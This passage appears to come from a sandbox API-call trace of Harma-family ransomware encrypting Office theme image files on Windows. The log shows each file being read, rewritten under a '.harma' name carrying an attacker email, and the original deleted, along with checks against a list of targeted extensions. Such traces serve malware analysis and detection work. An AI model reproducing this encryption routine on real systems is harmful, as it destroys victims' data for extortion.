Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.231] lstrlenW (lpString=".1cd") returned 4 [0062.231] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0062.231] lstrlenW (lpString=".jpg") returned 4 [0062.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.231] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0062.231] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0062.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.232] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1737) returned 1 [0062.232] CloseHandle (hObject=0x1f4) returned 1 [0062.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0062.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.287] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.287] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.323] GetLastError () returned 0x0 [0062.323] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0062.324] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0062.325] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.325] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.326] SetEndOfFile (hFile=0x1fc) returned 1 [0062.326] CloseHandle (hObject=0x1fc) returned 1 [0062.326] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.326] SetEndOfFile (hFile=0x1f4) returned 1 [0062.327] CloseHandle (hObject=0x1f4) returned 1 [0062.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0062.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.327] lstrlenW (lpString=".doc") returned 4 [0062.327] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.328] lstrlenW (lpString=".docx") returned 5 [0062.328] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.328] lstrlenW (lpString=".pdf") returned 4 [0062.328] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.328] lstrlenW (lpString=".xls") returned 4 [0062.328] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.328] lstrlenW (lpString=".xlsx") returned 5 [0062.328] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.328] lstrlenW (lpString=".ppt") returned 4 [0062.328] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.328] lstrlenW (lpString=".zip") returned 4 [0062.328] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.328] lstrlenW (lpString=".rar") returned 4 [0062.328] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.328] lstrlenW (lpString=".bz2") returned 4 [0062.328] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.328] lstrlenW (lpString=".7z") returned 3 [0062.328] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.328] lstrlenW (lpString=".dbf") returned 4 [0062.328] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.328] lstrlenW (lpString=".1cd") returned 4 [0062.328] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.328] lstrlenW (lpString=".jpg") returned 4 [0062.328] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.329] lstrlenW (lpString=".doc") returned 4 [0062.329] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.329] lstrlenW (lpString=".docx") returned 5 [0062.329] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.329] lstrlenW (lpString=".pdf") returned 4 [0062.329] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.329] lstrlenW (lpString=".xls") returned 4 [0062.329] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.329] lstrlenW (lpString=".xlsx") returned 5 [0062.329] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.329] lstrlenW (lpString=".ppt") returned 4 [0062.329] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.329] lstrlenW (lpString=".zip") returned 4 [0062.329] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.329] lstrlenW (lpString=".rar") returned 4 [0062.329] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.329] lstrlenW (lpString=".bz2") returned 4 [0062.329] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.329] lstrlenW (lpString=".7z") returned 3 [0062.329] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.329] lstrlenW (lpString=".dbf") returned 4 [0062.329] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.329] lstrlenW (lpString=".1cd") returned 4 [0062.329] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0062.330] lstrlenW (lpString=".jpg") returned 4 [0062.330] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.330] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0062.330] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0062.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.331] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=33479) returned 1 [0062.331] CloseHandle (hObject=0x1f4) returned 1 [0062.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0062.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.331] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.331] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.331] GetLastError () returned 0x0 [0062.331] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0062.334] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0062.336] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.336] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.336] SetEndOfFile (hFile=0x1fc) returned 1 [0062.336] CloseHandle (hObject=0x1fc) returned 1 [0062.336] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.336] SetEndOfFile (hFile=0x1f4) returned 1 [0062.338] CloseHandle (hObject=0x1f4) returned 1 [0062.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.338] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0062.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.338] lstrlenW (lpString=".doc") returned 4 [0062.338] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.338] lstrlenW (lpString=".docx") returned 5 [0062.338] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.338] lstrlenW (lpString=".pdf") returned 4 [0062.338] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.338] lstrlenW (lpString=".xls") returned 4 [0062.338] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.338] lstrlenW (lpString=".xlsx") returned 5 [0062.338] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.338] lstrlenW (lpString=".ppt") returned 4 [0062.338] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.339] lstrlenW (lpString=".zip") returned 4 [0062.339] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.339] lstrlenW (lpString=".rar") returned 4 [0062.339] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.339] lstrlenW (lpString=".bz2") returned 4 [0062.339] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.339] lstrlenW (lpString=".7z") returned 3 [0062.339] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.339] lstrlenW (lpString=".dbf") returned 4 [0062.339] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.339] lstrlenW (lpString=".1cd") returned 4 [0062.339] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.339] lstrlenW (lpString=".jpg") returned 4 [0062.339] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.339] lstrlenW (lpString=".doc") returned 4 [0062.339] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.339] lstrlenW (lpString=".docx") returned 5 [0062.339] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.339] lstrlenW (lpString=".pdf") returned 4 [0062.339] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.339] lstrlenW (lpString=".xls") returned 4 [0062.339] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.340] lstrlenW (lpString=".xlsx") returned 5 [0062.340] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.340] lstrlenW (lpString=".ppt") returned 4 [0062.340] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.340] lstrlenW (lpString=".zip") returned 4 [0062.340] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.340] lstrlenW (lpString=".rar") returned 4 [0062.340] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.340] lstrlenW (lpString=".bz2") returned 4 [0062.340] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.340] lstrlenW (lpString=".7z") returned 3 [0062.340] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.340] lstrlenW (lpString=".dbf") returned 4 [0062.340] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.340] lstrlenW (lpString=".1cd") returned 4 [0062.340] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0062.340] lstrlenW (lpString=".jpg") returned 4 [0062.340] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.341] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0062.341] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0062.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.341] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1675) returned 1 [0062.341] CloseHandle (hObject=0x1f4) returned 1 [0062.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0062.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.341] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.342] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0062.344] GetLastError () returned 0x0 [0062.344] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x68b, lpOverlapped=0x0) returned 1 [0062.345] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x690, lpOverlapped=0x0) returned 1 [0062.346] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.347] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.347] SetEndOfFile (hFile=0x1fc) returned 1 [0062.347] CloseHandle (hObject=0x1fc) returned 1 [0062.347] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.347] SetEndOfFile (hFile=0x1f4) returned 1 [0062.348] CloseHandle (hObject=0x1f4) returned 1 [0062.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.348] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0062.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.672] lstrlenW (lpString=".doc") returned 4 [0062.673] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.673] lstrlenW (lpString=".docx") returned 5 [0062.673] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.673] lstrlenW (lpString=".pdf") returned 4 [0062.673] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.673] lstrlenW (lpString=".xls") returned 4 [0062.673] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.673] lstrlenW (lpString=".xlsx") returned 5 [0062.673] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.673] lstrlenW (lpString=".ppt") returned 4 [0062.673] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.673] lstrlenW (lpString=".zip") returned 4 [0062.673] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.673] lstrlenW (lpString=".rar") returned 4 [0062.673] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.673] lstrlenW (lpString=".bz2") returned 4 [0062.673] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.673] lstrlenW (lpString=".7z") returned 3 [0062.673] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.673] lstrlenW (lpString=".dbf") returned 4 [0062.673] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.674] lstrlenW (lpString=".1cd") returned 4 [0062.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.674] lstrlenW (lpString=".jpg") returned 4 [0062.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.674] lstrlenW (lpString=".doc") returned 4 [0062.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.674] lstrlenW (lpString=".docx") returned 5 [0062.674] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.674] lstrlenW (lpString=".pdf") returned 4 [0062.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.674] lstrlenW (lpString=".xls") returned 4 [0062.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.674] lstrlenW (lpString=".xlsx") returned 5 [0062.674] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.674] lstrlenW (lpString=".ppt") returned 4 [0062.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0062.674] lstrlenW (lpString=".zip") returned 4 [0062.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.674] lstrlenW (lpString=".rar") returned 4 [0062.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.674] lstrlenW (lpString=".bz2") returned 4 [0062.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.674] lstrlenW (lpString=".7z") returned 3 [0062.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.674] lstrlenW 